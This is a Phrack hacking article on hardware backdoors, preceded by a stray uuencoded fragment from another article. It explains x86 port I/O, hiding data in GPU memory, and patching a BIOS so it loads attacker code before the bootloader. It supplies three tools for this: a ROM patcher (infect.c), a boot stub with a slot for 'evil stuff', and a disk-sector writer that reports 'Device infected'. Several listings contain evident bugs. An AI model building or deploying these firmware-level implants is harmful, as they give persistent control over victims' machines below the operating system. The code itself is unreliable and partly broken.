Reference/Manpages/man1/mDNS.1.html

[21] KUNC Reference http://developer.apple.com/documentation/DeviceDrivers/

Conceptual/WritingDeviceDriver/KernelUserNotification

‑‑[ 13 ‑ Appendix ‑ Code

Extract this code with uudecode.

begin 644 code.tgz M'XL(`.KU$48``^P\;6P<QW4G6TZT:S<6##4U:@<9T91]1YW(^[XC&;HAQ;‑#

Hacking deeper in the system

_

_/B\_ W\_

(* *) Phrack #64 file 12 (* *)

| ‑ |

| | Hacking deeper in the system | |

| |

| | by scythale | |

| |

| | scythale@gmail.com | |

(___________________________

Contents

1. Abstract

2. A quick introduction to I/O system

3. Playing with GPU

4. Playing with BIOS

5. Conclusion

6. References

7. Thanks

1. Abstract

Today, we're observing a growing number of papers focusing on hardware hacking. Even if hardware‑based backdoors are far from being a good solution to use in the wild, this topic is very important as some big corporations are planning to take control of our computers without our consent using some really bad designed concepts such as DRM and TCPA. As we can't let them do this at any cost, the time has come for a little introduction to the hardware world...

This paper constitutes a tiny introduction to hardware hacking in the backdoor writers perspective (hey, this is phrack, I'm not going to explain how to pilot your coffee machine with a RS232 interface). The thing is even if backdooring hardware isn't a so good idea, it is a good way to start in hardware hacking. The aim of the author is to give readers the basis of hardware hacking which should be usefull to prepare for the fight against TCPA and other crappy things sponsored by big sucke... erm... "companies" such as Sony and Microsoft.

This paper is i386 centric. It does not cover any other architecture, but it can be used as a basis on researches about other hardware. Thus bear in mind that most of the material presented here won't work on any other machine than a PC. Subjects such as devices, BIOS and internal work of a PC will be discussed and some ideas about turning all these things to our own advantage will be presented.

This paper IS NOT an ad nor a presentation of some 3v1L s0fTw4r3, so you won't find a fully functionnal backdoor here. The aim of the author is to provide information that would help you in writing your own stuff, not to provide you with an already done work. This subject isn't a particularly difficult one, all it just takes is immagination.

In order to understand this article, some knowledge about x86 assembly and architecture is heavily recommended. If you're a newbie to these subjects, I strongly recommend you to read "The Art of Assembly Programming" (see [1]).

2. A quick introduction to I/O system

Before digging straight into the subject, some explanations must be done. Those of you who already know how I/O works on Intel's and what they're here for might just prefer to skip to the next section. Others, just keep on reading.

As this paper focuses on hardware, it would be practical to know how to access it. The I/O system provides such an access. As everybody knows, the processor (CPU) is the heart, or, more accurately, the brain of the computer. But the only thing it does is to compute. Basically, a CPU isn't of much help without devices. Devices give data to be computed to the CPU, and allow it to bring back an answer to our requests. The I/O system is used to link most of devices to the CPU. The way processors see I/O based devices is quite the same as the way they see memory. In fact, all the processors do to communicate with devices is to read and write data "somewhere in memory" : the I/O system is charged to handle the next steps. This "somewhere in memory" is represented by an I/O port. I/O ports are special "addresses" that connects the CPU data bus to the device. Each I/O based device uses at least one I/O port, many of them using several. Basically, the only thing device drivers do is to manipulate I/O ports (well, very basically, that's what they do, just to communicate with hardware). The Intel Architecture provides three main ways to manipulate I/O ports : memory‑mapped I/O, Input/Output mapped I/O and DMA.

memory‑mapped I/O

The memory‑mapped I/O system allows to manipulate I/O ports as if they were basic memory. Instructions such as 'mov' are used to interface with it. This system is simple : all it does is to map I/O ports to memory addresses so that when data is written/read at one of these addresses, the data is actually sent to/received by the device connected to the corresponding port. Thus, the way to communicate with a device is the same as communicating with memory.

Input/Output mapped I/O

The Input/Output mapped I/O system uses dedicated CPU instructions to access I/O ports. On i386, these instructions are 'in' and 'out' :

in 254, reg ; writes content of reg register to port #254

out reg, 254 ; reads data from port #254 and stores it in reg

The only problem with these two instructions is that the port is 8 bit‑encoded, allowing only an access to ports 0 to 255. The sad thing is that this range of ports is often connected to internal hardware such as the system clock. The way to circomvent it is the following (taken from "The Art of Assembly Programming, see [1]) :

To access I/O ports at addresses beyond 255 you must load the 16‑bit I/O address into the DX register and use DX as a pointer to the specified I/O address. For example, to write a byte to the I/O address $378 you would use an instruction sequence like the following:

mov $378, dx

out al, dx

DMA

DMA stands for Direct Memory Access. The DMA system is used to enhance devices to memory performances. Back in the old days, most hardware made use of the CPU to transfer data to and from memory. When computers started to become "multimedia" (a term as meaningless as "people ready" but really good looking in "we‑are‑trying‑to‑fuck‑you‑deep‑in‑the‑ass ads"), that is when computers started to come equiped with CD‑ROM and sound cards, CPU couldn't handle tasks such as playing music while displaying a shotgun firing at a monster because the user just has hit the 'CTRL' key. So, constructors created a new chip to be able to carry out such things, and so was born the DMA controller. DMA allows devices to transfer data from and to memory with little operations done by the CPU. Basically, all the CPU does is to initiate the DMA transfer and then the DMA chip takes care of the rest, allowing the CPU to focus on other tasks. The very interesting thing is that since the CPU doesn't actually do the transfer and since devices are being used, protected mode does not interfere, which means we can write and read (almost) anywhere we would like to. This idea is far from being new, and PHC already evoqued it in one of their phrack parody.

DMA is really a powerfull system. It allows us to do very cool tricks but this come as the expense of a great prize : DMA is a pain in the ass to use as it is very hardware specific. Here follows the main different kinds of DMA systems :

‑ DMA Controller (third‑party DMA) : this DMA system is really old and inefficient. The idea here is to have a general DMA Controller on the motherboard that will handle every DMA operations for every devices. This controller was mainly used with ISA devices and its use is now deprecated because of performance issues and because only 4 to 8 (depending if the board had two cascading DMA Controllers) DMA transfers could be setup at the same time (the DMA Controller only provides 4 channels).

‑ DMA Bus mastering (first‑party DMA) : this DMA system provides far better performances than the DMA Controller. The idea is to allow each device to manage DMA himself by a processus known as "Bus Mastering". Instead of relying on the general DMA Controller, each device is able to take control of the system bus to perform its transfers, allowing hardware manufacturers to provide an efficient system for their devices.

These three things are practical enough to get started but modern operating systems provides medias to access I/O too. As there are a lot of these systems on the computer market, I'll introduce only the GNU/Linux system, which constitutes a perfect system to discover hardware hacking on Intel. As many systems, Linux is run in two modes : user land and kernel land. Since Kernel land already allows a good control on the system, let's see the user land ways to access I/O. I'll explain here two basic ways to play with hardware : in*(), out*() and /dev/port :

in/out

The in and out instructions can be used on Linux in user land. Equally, the functions outb(2), outw(2), outl(2), inb(2), inw(2), inl(2) are provided to play with I/O and can be called from kernel land or user land. As stated in "Linux Device Drivers" (see [2]), their use is the following :

unsignedinb(unsigned port);

voidoutb(unsigned char byte, unsigned port);

Read or write byte ports (eight bits wide). The port argument is defined as unsigned long for some platforms and unsigned short for others. The return type of inb is also different across architectures.

unsignedinw(unsigned port);

voidoutw(unsigned short word, unsigned port);

These functions access 16‑bit ports (word wide); they are not available when compiling for the M68k and S390 platforms, which support only byte I/O.

unsignedinl(unsigned port);

voidoutl(unsigned longword, unsigned port);

These functions access 32‑bit ports. longword is either declared as unsigned long or unsigned int, according to the platform. Like word I/O, "long" I/O is not available on M68k and S390.

Note that no 64‑bit port I/O operations are defined. Even on 64‑bit architectures, the port address space uses a 32‑bit (maximum) data path.

The only restriction to access I/O ports this way from user land is that you must use iopl(2) or ioperm(2) functions, which sometimes are protected by security systems like grsec. And of course, you must be root. Here is a sample code using this way to access I/O :

‑‑‑‑‑‑[io.c

/*

** Just a simple code to see how to play with inb()/outb() functions. **

** usage is :

*** read : io r <port address>

*** write : io w <port address> <value>

**

** compile with : gcc io.c ‑o io

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/io.h>/* iopl(2) inb(2) outb(2) */

voidread_io(long port)

{

unsigned intval;

val = inb(port);

fprintf(stdout, "value : %X\n", val);

}

voidwrite_io(long port, long value)

{

outb(value, port);

}

intmain(int argc, char **argv)

{

longport;

if (argc < 3)

{

fprintf(stderr, "usage is : io <r|w> <port> [value]\n"); exit(1);

}

port = atoi(argv[2]);

if (iopl(3) == ‑1)

{

fprintf(stderr, "could not get permissions to I/O system\n"); exit(1);

}

if (!strcmp(argv[1], "r"))

read_io(port);

else if (!strcmp(argv[1], "w"))

write_io(port, atoi(argv[3]));

else

{

fprintf(stderr, "usage is : io <r|w> <port> [value]\n"); exit(1);

}

return 0;

}

‑‑‑‑‑‑

/dev/port

/dev/port is a special file that allows you to access I/O as if you were manipulating a simple file. The use of the functions open(2), read(2), write(2), lseek(2) and close(2) allows manipulation of /dev/port. Just go to the address corresponding to the port with lseek() and read() or write() to the hardware. Here is a sample code to do it :

‑‑‑‑‑‑[port.c

/*

** Just a simple code to see how to play with /dev/port

**

** usage is :

*** read : port r <port address>

*** write : port w <port address> <value>

**

** compile with : gcc port.c ‑o port

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

voidread_port(int fd, long port)

{

unsigned intval = 0;

lseek(fd, port, SEEK_SET);

read(fd, &val, sizeof(char));

fprintf(stdout, "value : %X\n", val);

}

voidwrite_port(int fd, long port, long value)

{

lseek(fd, port, SEEK_SET);

write(fd, &value, sizeof(char));

}

intmain(int argc, char **argv)

{

intfd;

longport;

if (argc < 3)

{

fprintf(stderr, "usage is : io <r|w> <port> [value]\n"); exit(1);

}

port = atoi(argv[2]);

if ((fd = open("/dev/port", O_RDWR)) == ‑1)

{

fprintf(stderr, "could not open /dev/port\n"); exit(1);

}

if (!strcmp(argv[1], "r"))

read_port(fd, port);

else if (!strcmp(argv[1], "w"))

write_port(fd, port, atoi(argv[3]));

else

{

fprintf(stderr, "usage is : io <r|w> <port> [value]\n"); exit(1);

}

return 0;

}

‑‑‑‑‑‑

Ok, one last thing before closing this introduction : for Linux users who want to list the I/O Ports on their system, just do a

"cat /proc/ioports", ie:

$ cat /proc/ioports # lists ports from 0000 to FFFF 0000‑001f : dma1

0020‑0021 : pic1

0040‑0043 : timer0

0050‑0053 : timer1

0060‑006f : keyboard

0080‑008f : dma page reg

00a0‑00a1 : pic2

00c0‑00df : dma2

00f0‑00ff : fpu

0170‑0177 : ide1

01f0‑01f7 : ide0

0213‑0213 : ISAPnP

02f8‑02ff : serial

0376‑0376 : ide1

0378‑037a : parport0

0388‑0389 : OPL2/3 (left)

038a‑038b : OPL2/3 (right)

03c0‑03df : vga+

03f6‑03f6 : ide0

03f8‑03ff : serial

0534‑0537 : CS4231

0a79‑0a79 : isapnp write

0cf8‑0cff : PCI conf1

b800‑b8ff : 0000:00:0d.0

b800‑b8ff : 8139too

d000‑d0ff : 0000:00:09.0

d000‑d0ff : 8139too

d400‑d41f : 0000:00:04.2

d400‑d41f : uhci_hcd

d800‑d80f : 0000:00:04.1

d800‑d807 : ide0

d808‑d80f : ide1

e400‑e43f : 0000:00:04.3

e400‑e43f : motherboard

e400‑e403 : PM1a_EVT_BLK

e404‑e405 : PM1a_CNT_BLK

e408‑e40b : PM_TMR

e40c‑e40f : GPE0_BLK

e410‑e415 : ACPI CPU throttle

e800‑e81f : 0000:00:04.3

e800‑e80f : motherboard

e800‑e80f : pnp 00:02

$

3. Playing with GPU

3D cards are just GREAT, period. When you're installing such a card in your computer, you're not just plugging a device that can render nice graphics, you're also putting a mini‑computer in your own computer. Today's graphical cards aren't a simple chip anymore. They have memory, they have a processor, they even have a BIOS ! You can enjoy a LOT of features from these little things.

First of all, let's consider what a 3D card really is. 3D cards are here to enhance your computer performances rendering 3D and to send output for your screen to display. As I said, there are three parts that interest us in our 3v1L doings :

1/ The Video RAM. It is memory embedded on the card. This memory is used to store the scene to be rendered and to store computed results. Most of today's cards come with more than 256 MB of memory, which provide us a nice place to store our stuff.

2/ The Graphical Processing Unit (shortly GPU). It constitutes the processor of your 3D card. Most of 3D operations are maths, so most of the GPU instructions compute maths designed to graphics.

3/ The BIOS. A lot of devices include today their own BIOS. 3D cards make no exception, and their little BIOS can be very interesting as they contain the firmware of your 3D card, and when you access a firmware, well, you can just nearly do anything you dream to do.

I'll give ideas about what we can do with these three elements, but first we need to know how to play with the card. Sadly, as to play with any device in your computer, you need the specs of your material and most 3D cards are not open enough to do whatever we want. But this is not a big problem in itself as we can use a simple API which will talk with the card for us. Of course, this prevents us to use tricks on the card in certain conditions, like in a shellcode, but once you've gained root and can do what pleases you to do on the system it isn't an issue anymore. The API I'm talking about is OpenGL (see [3]), and if you're not already familiar with it, I suggest you to read the tutorials on [4]. OpenGL is a 3D programming API defined by the OpenGL Architecture Review Board which is composed of members from many of the industry's leading graphics vendors. This library often comes with your drivers and by using it, you can develop easily portable code that will use features of the present 3D card.

As we now know how to communicate with the card, let's take a deeper look at this hardware piece. GPU are used to transform a 3D environment (the "scene") given by the programmer into a 2D image (your screen). Basically, a GPU is a computing pipeline applying various mathematical operations on data. I won't introduce here the complete process of transforming a 3D scene into a 2D display as it is not the point of this paper. In our case, all you have to know is :

1/ The GPU is used to transform input (usually a 3D scene but nothing prevents us from inputing anything else)

2/ These transformations are done using mathematical operations commonly used in graphical programming (and again nothing prevents us from using those operations for another purpose)

3/ The pipeline is composed of two main computations each involving multiple steps of data transformation :

‑ Transformation and Lighting : this step translates 3D objects into 2D nets of polygons (usually triangles), generating a wireframe rendering.

‑ Rasterization : this step takes the wireframe rendering as input data and computes pixels values to be displayed on the screen.

So now, let's take a look at what we can do with all these features. What interests us here is to hide data where it would be hard to find it and to execute instructions outside the processor of the computer. I won't talk about patching 3D cards firmware as it requires heavy reverse engineering and as it is very specific for each card, which is not the subject of this paper.

First, let's consider instructions execution. Of course, as we are playing with a 3D card, we can't do everything we can do with a computer processor like triggering software interrupts, issuing I/O operations or manipulating memory, but we can do lots of mathematical operations. For example, we can encrypt and decrypt data with the 3D card's processor which can render the reverse engineering task quite painful. Also, it can speed up programs relying on heavy mathematical operations by letting the computer processor do other things while the 3D card computes for him. Such things have already been widely done. In fact, some people are already having fun using GPU for various purposes (see [5]). The idea here is to use the GPU to transform data we feed him with. GPUs provide a system to program them called "shaders". You can think of shaders as a programmable hook within the GPU which allows you to add your own routines in the data transformation processus. These hooks can be triggered in two places of the computing pipeline, depending on the shader you're using. Traditionnaly, shaders are used by programmers to add special effects on the rendering process and as the rendering process is composed of two steps, the GPU provides two programmable shaders. The first shader is called the "Vexter shader". This shader is used during the transformation and lighting step. The second shader is called the "Pixel shader" and this one is used during the rasterization processus.

Ok, so now we have two entry points in the GPU system, but this doesn't tell us how to develop and inject our own routines. Again, as we are playing in the hardware world, there are several ways to do it, depending on the hardware and the system you're running on. Shaders use their own programming languages, some are low level assembly‑like languages, some others are high level C‑like languages. The three main languages used today are high level ones :

‑ High‑Level Shader Language (HLSL) : this language is provided by Microsoft's DirectX API, so you need MS Windows to use it. (see [6])

‑ OpenGL Shading Language (GLSL or GLSlang) : this language is provided by the OpenGL API. (see [7])

‑ Cg : this language was introduced by NVIDIA to program on their hardware using either the DirectX API or the OpenGL one. Cg comes with a full toolkit distributed by NVIDIA for free (see [8] and [9]).

Now that we know how to program GPUs, let's consider the most interesting part : data hiding. As I said, 3D cards come with a nice amount of memory. Of course, this memory is aimed at graphical usage but nothing prevents us to store some stuff in it. In fact, with the help of shaders we can even ask the 3D card to store and encrypt our data. This is fairly easy to do : we put the data in the beginning of the pipeline, we program the shaders to decide how to store and encrypt it and we're done. Then, retrieving this data is nearly the same operation : we ask the shaders to decrypt it and to send it back to us. Note that this encryption is really weak, as we rely only on shaders' computing and as the encryption and decryption process can be reversed by simply looking at the shaders programming in your code, but this can constitutes an effective way to improve already existing tricks (a 3D card based Shiva could be fun).

Ok, so now we can start coding stuff taking advantage of our 3D cards. But wait ! We don't want to mess with shaders, we don't want to learn about 3D programming, we just want to execute code on the device so we can quickly test what we can do with those devices. Learning shaders programming is important because it allows to understand the device better but it can be really long for people unfamiliar with the 3D world. Recently, nVIDIA released a SDK allowing programmers to easily use 3D devices for other purposes than graphisms. nVIDIA CUDA (see [10]) is a SDK allowing programmers to use the C language with new keywords used to tell the compiler which part of the code should be executed on the device and which part of the code should be executed on the CPU. CUDA also comes with various mathematical libraries.

Here is a funny code to illustrate the use of CUDA :

‑‑‑‑‑‑[ 3ddb.c

/*

** 3ddb.c : a very simple program used to store an array in

** GPU memory and make the GPU "encrypt" it. Compile it using nvcc. */

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <cutil.h>

#include <cuda.h>

/*** GPU code and data ***/

char *store;

__global__ voidencrypt(int key)

{

/* do any encryption you want here */

/* and put the result into 'store' */

/* (you need to modify CPU code if */

/* the encrypted text size is */

/* different than the clear text */

/* one). */

}

/*** end of GPU code and data ***/

/*** CPU code and data ***/

CUdevicedev;

voidusage(char * cmd)

{

fprintf(stderr, "usage is : %s <string> <key>\n", cmd); exit(0);

}

voidinit_gpu()

{

intcount;

CUT_CHECK_DEVICE();

CU_SAFE_CALL(cuInit());

CU_SAFE_CALL(cuDeviceGetCount(&count));

if (count <= 0)

{

fprintf(stderr, "error : could not connect to any 3D card\n"); exit(‑1);

}

CU_SAFE_CALL(cuDeviceGet(&dev, 0)); CU_SAFE_CALL(cuCtxCreate(dev));

}

intmain(int argc, char ** argv)

{

intkey;

char *res;

if (argc != 3)

usage(argv[0]);

init_gpu();

CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1]))); CUDA_SAFE_CALL(cudaMemcpy(store,

argv[1],

strlen(argv[1]),

cudaMemcpyHostToDevice));

res = malloc(strlen(argv[1]));

key = atoi(argv[2]);

encrypt<<<128, 256>>>(key);

CUDA_SAFE_CALL(cudaMemcpy(res,

store,

strlen(argv[1]),

cudaMemcpyDeviceToHost));

for (i = 0; i < strlen(argv[1]); i++)

printf("%c", res[i]);

CU_SAFE_CALL(cuCtxDetach());

CUT_EXIT(argc, argv);

return 0;

}

‑‑‑‑‑‑

4. Playing with BIOS

BIOSes are very interesting. In fact, little work has already been done in this area and some stuff has already been published. But let's recap all this things and take a look at what wonderful tricks we can do with this little chip. First of all, BIOS means Basic Input/Output System. This chip is in charge of handling boot process, low‑level configuration and of providing a set of functions for boot loaders and operating systems during their early loading processus. In fact, at boot time, BIOS takes control of the system first, then it does a couple of checks, then it sets an IDT to provide features via interruptions and finally tries to load the boot loader located in each bootable device, following its configuration. For example, if you specify in your BIOS setup to first try to boot on optical drive and then on your harddrive, at boot time the BIOS will first try to run an OS from the CD, then from your harddrive. BIOSes' code is the VERY FIRST code to be executed on your system. The interesting thing is that backdooring it virtually gives us a deep control of the system and a practical way to bypass nearly any security system running on the target, since we execute code even before this system starts ! But the inconvenient of this thing is big : as we are playing with hardware, portability becomes a really big issue.

The first thing you need to know about playing with BIOS is that there are several ways to do it. Some really good publications (see [11]) have been made on the subject, but I'll focus on what we can do when patching the ROM containing the BIOS.

BIOSes are stored in a chip located on your motherboard. Old BIOSes were single ROMs without write possibilities, but then some manufacturers got the brilliant idea to allow BIOS patching. They introduced the BIOS flasher, which is a little device we can communicate with using the I/O system. The flasher can read and write the BIOS for us, which is all we need to play in this land. Of course, as there are many different BIOSes in the wild, I won't introduce any particular chip. Here are some pointers that will help you :

* [12] /dev/bios is a tool from the OpenBIOS initiative (see [13]). It is a kernel module for Linux that creates devices to easily manipulate various BIOSes. It can access several BIOSes, including network card BIOSes. It is a nice tool to play with and the code is nice, so you'll see how to get your hands to work.

* [14] is a WONDERFUL guide that will explain you nearly everything about Award BIOSes. This paper is a must read for anyone interested in this subject, even if you don't own an Award BIOS.

* [15] is an interesting website to find information about various BIOSes.

In order to start easy and fast, we'll use a virtual machine, which is very handy to test your concepts before you waste your BIOS. I recommend you to use Bochs (see [16]) as it is free and open source and mainly because it comes with a very well commented source code used to emulate a BIOS. But first, let's see how BIOSes really work.

As I said, BIOS is the first entity which has the control over your system at boottime. The interesting thing is, in order to start to reverse engineer your BIOS, that you don't even need to use the flasher. At the start of the boot process, BIOS's code is mapped (or "shadowed") in RAM at a specific location and uses a specific range of memory. All we have to do to read this code, which is 16 bits assembly, is to read memory. BIOS memory area starts at 0xf0000 and ends at 0x100000. An easy way to dump the code is to simply do a :

% dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040 % objdump ‑b binary ‑m i8086 ‑D BIOS.dump

You should note that as BIOS contains data, such a dump isn't accurate as you will have a shift preventing code to be disassembled correctly. To address this problem, you should use the entry points table provided farther and use objdump with the '‑‑start‑address' option.

Of course, the code you see in memory is rarely easy to retrieve in the chip, but the fact you got the somewhat "unencrypted text" can help a lot. To get started to see what is interesting in this code, let's have a look at a very interesting comment in the Bochs BIOS source code (from [17]) :

30 // ROM BIOS compatability entry points:

31 // ===================================

32 // $e05b ; POST Entry Point

33 // $e2c3 ; NMI Handler Entry Point

34 // $e3fe ; INT 13h Fixed Disk Services Entry Point

35 // $e401 ; Fixed Disk Parameter Table

36 // $e6f2 ; INT 19h Boot Load Service Entry Point

37 // $e6f5 ; Configuration Data Table

38 // $e729 ; Baud Rate Generator Table

39 // $e739 ; INT 14h Serial Communications Service Entry Point

40 // $e82e ; INT 16h Keyboard Service Entry Point

41 // $e987 ; INT 09h Keyboard Service Entry Point

42 // $ec59 ; INT 13h Diskette Service Entry Point

43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point

44 // $efc7 ; Diskette Controller Parameter Table

45 // $efd2 ; INT 17h Printer Service Entry Point

46 // $f045 ; INT 10 Functions 0‑Fh Entry Point

47 // $f065 ; INT 10h Video Support Service Entry Point

48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)

49 // $f841 ; INT 12h Memory Size Service Entry Point

50 // $f84d ; INT 11h Equipment List Service Entry Point

51 // $f859 ; INT 15h System Services Entry Point

52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \

(lower 128 characters)

53 // $fe6e ; INT 1Ah Time‑of‑day Service Entry Point

54 // $fea5 ; INT 08h System Timer ISR Entry Point

55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST

56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler

57 // $ff54 ; INT 05h Print Screen Service Entry Point

58 // $fff0 ; Power‑up Entry Point

59 // $fff5 ; ASCII Date ROM was built ‑ 8 characters in MM/DD/YY

60 // $fffe ; System Model ID

These offsets indicate where to find specific BIOS functionalities in memory and, as they are standard, you can apply them to your BIOS too. For example, the BIOS interruption 19h is located in memory at 0xfe6f2 and its job is to load the boot loader in RAM and to jump on it. On old systems, a little trick was to jump to this memory location to reboot the system. But before considering BIOS code modification, we have one issue to resolve : BIOS chips have limited space, and if it can provide enough space for basic backdoors, we'll end up quickly begging for more places to store code if we want to do something nice. We have two ways to get more space :

1/ We patch the int19h code so that instead of loading the real bootloader on a device specified, it loads our code (which will load the real bootloader once it's done) at a specific location, like a sector marked as defective on a specific hard drive. Of course, this operation implies alteration of another media than BIOS, but, since it provides us with as nearly as many space as we could dream, this method must be taken into consideration

2/ If you absolutely want to stay in BIOS space, you can do a little trick on some BIOS models. One day, processors manufacturers made a deal with BIOS manufacturers. Processor manufacturers decided to give the possibility to update the CPU's microcode in order to fix bugs without having to recall all sold material (remember the f00f bug ?). The idea was that the BIOS would store the updated microcode and inject it in the CPU during each boot process, as modifications on microcode aren't permanent. This feature is known as "BIOS update". Of course, this microcode takes space and we can search for the code injecting it, hook it so it doesn't do anything anymore and erase the microcode to store our own code.

Implementing 2/ is more complex than 1/, so we'll focus on the first one to get started. The idea is to make the BIOS load our own code before the bootloader. This is very easy to do. Again, BochsBIOS sources will come in handy, but if you look at your BIOS dump, you should see very little differences. The code which interests us is located at 0xfe6f2 and is the 19h BIOS interrupt. This one is very interesting as this is the one in charge of loading the boot loader. Let's take a look at the interesting part of its code :

7238 // We have to boot from harddisk or floppy

7239 if (bootcd == 0) {

7240 bootseg=0x07c0;

7241

7242 ASM_START

7243 push bp

7244 mov bp, sp

7245

7246 mov ax, #0x0000

7247 mov _int19_function.status + 2[bp], ax 7248 mov dl, _int19_function.bootdrv + 2[bp] 7249 mov ax, _int19_function.bootseg + 2[bp] 7250 mov es, ax ;; segment

7251 mov bx, #0x0000 ;; offset

7252 mov ah, #0x02 ;; function 2, read diskette sector 7253 mov al, #0x01 ;; read 1 sector 7254 mov ch, #0x00 ;; track 0

7255 mov cl, #0x01 ;; sector 1

7256 mov dh, #0x00 ;; head 0

7257 int #0x13 ;; read sector

7258 jnc int19_load_done

7259 mov ax, #0x0001

7260 mov _int19_function.status + 2[bp], ax 7261

7262 int19_load_done:

7263 pop bp

7264 ASM_END

int13h is the BIOS interruption used to access storage devices. In our case, BIOS is trying to load the boot loader, which is on the first sector of the drive. The interesting thing is that by only changing the value put in one register, we can make the BIOS load our own code. For instance, if we hide our code in the sector number 0xN and if we patch the BIOS so that instead of the instruction 'mov cl, #0x01' we have 'mov cl, #0xN', we can have our code loaded at each boot and reboot. Basically, we can store our code wherever we want to as we can change the sector, the track and even the drive to be used. It is up to you to chose where to store your code but as I said, a sector marked as defective can work out as an interesting trick.

Here are three source codes to help you get started faster : the first one, inject.c, modifies the ROM of the BIOS so that it loads our code before the boot loader. inject.c needs /dev/bios to run. The second one, code.asm, is a skeletton to fill with your own code and is loaded by the BIOS. The third one, store.c, inject code.asm in the target sector of the first track of the hard drive.

‑‑[ infect.c

#define _GNU_SOURCE

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#define BUFSIZE512

#define BIOS_DEV"/dev/bios"

#define CODE"\xbb\x00\x00" /* mov bx, 0 */ \

"\xb4\x02" /* mov ah, 2 */ \

"\xb0\x01" /* mov al, 1 */ \

"\xb5\x00" /* mov ch, 0 */ \

"\xb6\x00" /* mov dh, 0 */ \

"\xb1\x01" /* mov cl, 1 */ \

"\xcd\x13" /* int 0x13 */

#define TO_PATCH"\xcd\x13" /* mov cl, 1 */

#define SECTOR_OFFSET1

voidusage(char *cmd)

{

fprintf(stderr, "usage is : %s [bios rom] <sector> <infected rom>\n", cmd); exit(1);

}

/*

** This function looks in the BIOS rom and search the int19h procedure. ** The algorithm used sucks, as it does only a naive search. Interested ** readers should change it.

*/

char *search(char * buf, size_t size)

{

return memmem(buf, size, CODE, sizeof(CODE));

}

voidpatch(char * tgt, size_t size, int sector)

{

charnew;

char *tmp;

tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH));

new = (char)sector;

tmp[SECTOR_OFFSET] = new;

}

intmain(int argc, char **argv)

{

intsector;

size_ti;

size_tret;

size_t cnt;

intdevfd;

intoutfd;

char *buf;

char *dev;

char *out;

char *tgt;

if (argc == 3)

{

dev = BIOS_DEV;

out = argv[2];

sector = atoi(argv[1]);

}

else if (argc == 4)

{

dev = argv[1];

out = argv[3];

sector = atoi(argv[2]);

}

else

usage(argv[0]);

if ((devfd = open(dev, O_RDONLY)) == ‑1)

{

fprintf(stderr, "could not open BIOS\n");

exit(1);

}

if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == ‑1) {

fprintf(stderr, "could not open %s\n", out); exit(1);

}

for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret) buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE); if (ret == ‑1)

{

fprintf(stderr, "error reading BIOS\n");

exit(1);

}

if ((tgt = search(buf, cnt)) == NULL)

{

fprintf(stderr, "could not find code to patch\n"); exit(1);

}

patch(tgt, cnt, sector);

for (i = 0; (ret = write(outfd, buf + i, cnt ‑ i)) > 0; i += ret) ;

if (ret == ‑1)

{

fprintf(stderr, "could not write patched ROM to disk\n"); exit(1);

}

close(devfd);

close(outfd);

free(buf);

return 0;

}

‑‑‑

‑‑[ evil.asm

;;;

;;; A sample code to be loaded by an infected BIOS instead of ;;; the real bootloader. It basically moves himself so he can ;;; load the real bootloader and jump on it. Replace the nops ;;; if you want him to do something usefull.

;;;

;;; usage is :

;;;no usage, this code must be loaded by store.c

;;;

;;; compile with : nasm ‑fbin evil.asm ‑o evil.bin

;;;

BITS16

ORG0

;; we need this label so we can check the code size

entry:

jmpbegin; jump over data

;; here comes data

drivedb0; drive we're working on

begin:

mov[drive], dl; get the drive we're working on

;; segments init

movax, 0x07C0

movds, ax

moves, ax

;; stack init

movax, 0

movss, ax

movax, 0xffff

movsp, ax

;; move out of the zone so we can load the TRUE boot loader movax, 0x7c0

movds, ax

movax, 0x100

moves, ax

movsi, 0

movdi, 0

movcx, 0x200

cld

repmovsb

;; jump to our new location

jmp0x100:next

next:;; to jump to the new location

;; load the true boot loader

movdl, [drive]

movax, 0x07C0

moves, ax

movbx, 0

movah, 2

moval, 1

movch, 0

movcl, 1

movdh, 0

int0x13

;; do your evil stuff there (ie : infect the boot loader)

nop

nop

nop

;; execute system

jmp 07C0h:0

size equ $ ‑ entry

%if size+2 > 512

%error "code is too large for boot sector"

%endif

times (512 ‑ size ‑ 2) db 0; fill 512 bytes

db 0x55, 0xAA; boot signature

‑‑‑

‑‑[ store.c

/*

** code to be used to store a fake bootloader loaded by an infected BIOS **

** usage is :

**store <device to store on> <sector number> <file to inject> **

** compile with : gcc store.c ‑o store

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#define CODE_SIZE512

#define SECTOR_SIZE512

voidusage(char *cmd)

{

fprintf(stderr, "usage is : %s <device> <sector> <code>", cmd); exit(0);

}

intmain(int argc, char **argv)

{

intoff;

int i;

int devfd;

intcodefd;

int cnt;

char code[CODE_SIZE];

if (argc != 4)

usage(argv[0]);

if ((devfd = open(argv[1], O_RDONLY)) == ‑1)

{

fprintf(stderr, "error : could not open device\n"); exit(1);

}

off = atoi(argv[2]);

if ((codefd = open(argv[3], O_RDONLY)) == ‑1)

{

fprintf(stderr, "error : could not open code file\n"); exit(1);

}

for (cnt = 0; cnt != CODE_SIZE; cnt += i)

if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE ‑ cnt)) <= 0) {

fprintf(stderr, "error reading code\n");

exit(1);

}

lseek(devfd, (off ‑ 1) * SECTOR_SIZE, SEEK_SET);

for (cnt = 0; cnt != CODE_SIZE; cnt += i)

if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE ‑ cnt)) <= 0) {

fprintf(stderr, "error reading code\n");

exit(1);

}

close(devfd);

close(codefd);

printf("Device infected\n");

return 0;

}

‑‑‑

Okay, now that we can load our code using the BIOS, time has come to consider what we can do in this position. As we are nearly the first one to have control over the system, we can do really interesting things.

